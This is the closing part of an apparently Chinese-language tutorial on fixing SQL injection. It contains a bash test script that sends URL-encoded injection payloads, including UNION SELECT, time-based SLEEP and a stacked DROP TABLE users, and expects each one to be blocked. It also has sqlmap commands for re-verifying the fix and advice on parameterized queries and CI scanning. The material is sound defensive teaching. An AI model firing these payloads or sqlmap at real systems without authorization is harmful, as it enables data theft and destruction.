fi
if [ "$expect" = "$actual" ]; then
echo "[PASS] $name (期望 $expect, 实际 $actual)"; PASS=$((PASS+1))
else
echo "[FAIL] $name (期望 $expect, 实际 $actual)"; FAIL=$((FAIL+1))
fi
}
echo "===== 正常功能(应无异常)====="
run_test "正常 id=1" "1" "safe"
echo "===== 注入 Payload(应全部被拦截/无错误回显)====="
run_test "单引号" "1%27" "safe"
run_test "OR 1=1" "1%27%20OR%20%271%27%3D%271" "safe"
run_test "UNION SELECT" "-1%27%20UNION%20SELECT%201,2,3%23" "safe"
run_test "注释符" "1%27--%20" "safe"
run_test "SLEEP" "1%27%20AND%20SLEEP(5)%23" "safe"
run_test "information_schema" "-1%27%20UNION%20SELECT%201,database(),3%23" "safe"
run_test "堆叠查询" "1%27;DROP%20TABLE%20users%23" "safe"
echo "----------------------------------------"
echo "通过: $PASS 失败: $FAIL"
[ "$FAIL" -eq 0 ] && echo "✅ 全部通过" || echo "❌ 存在未修复的注入点"用 sqlmap 做最终确认(修复后必须再跑一次):
# 修复后重跑 sqlmap,期望输出 "all tested parameters appear to be not injectable"
sqlmap -u "https://target.com/product.php?id=1" --batch --level=5 --risk=2
# 期望看到:
# [WARNING] GET parameter 'id' does not seem to be injectable
# 或
# all tested parameters appear to be not injectable💡 踩坑提示:修复后重跑 sqlmap 时务必加
--flush-session。否则它会直接读缓存告诉你"之前测出来有注入",让你以为修复失败 —— 实际上只是缓存没清。这个坑我踩过不止一次。
最后:预编译不难,难的是一处都不漏
注入这个漏洞类型很有意思:它是**唯一一个"根治方案已经存在三十年,却依然年年上榜"**的漏洞。
原因很简单 —— 预编译不难,难的是没有一个地方漏掉。一个项目几千个 SQL,只要有一处 ORDER BY ${xxx},洞就在。
所以真正的解法分三层:
- 主防线:全量参数化(PreparedStatement /
#{}),这是唯一根治手段。 - 兜底:最小权限 + 白名单标识符 + 统一错误处理,让"万一漏了"的危害可控。
- 防复发:CI 静态扫描(Semgrep / CodeQL),把
${}拼接、命令执行这些模式在合入前拦下。
转义、过滤、WAF —— 都不是解法,是拖延战术。
⚠️ 声明:本文所有示例、脚本与命令仅用于授权的安全测试、教学研究与自有系统加固。请勿对任何未授权系统进行测试,违反者需自行承担法律责任。